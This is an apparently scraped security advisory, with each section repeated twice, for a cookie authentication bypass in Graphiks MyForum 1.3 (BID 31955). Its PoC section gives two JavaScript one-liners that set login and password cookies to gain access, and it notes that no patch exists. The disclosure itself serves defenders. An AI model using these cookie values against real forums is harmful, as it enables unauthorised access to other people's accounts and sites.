Graphiks MyForum Cookie Authentication Bypass Vulnerability
BID:31955
Info
Graphiks MyForum Cookie Authentication Bypass Vulnerability
| Bugtraq ID: | 31955 |
| Class: | Access Validation Error |
| CVE: |
CVE-2008-5040 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 28 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | Mountassif Moad |
| Vulnerable: |
Graphiks MyForum 1.3 |
| Not Vulnerable: | |
Discussion
Graphiks MyForum Cookie Authentication Bypass Vulnerability
Graphiks MyForum is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain unauthorized access; this may aid in further attacks.
Graphiks MyForum 1.3 is vulnerable; other versions may also be affected.
Graphiks MyForum is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain unauthorized access; this may aid in further attacks.
Graphiks MyForum 1.3 is vulnerable; other versions may also be affected.
Exploit / POC
Graphiks MyForum Cookie Authentication Bypass Vulnerability
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "myforum_login=1; path=/";
javascript:document.cookie = "myforum_pass=1; path=/";
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "myforum_login=1; path=/";
javascript:document.cookie = "myforum_pass=1; path=/";
Solution / Fix
Graphiks MyForum Cookie Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].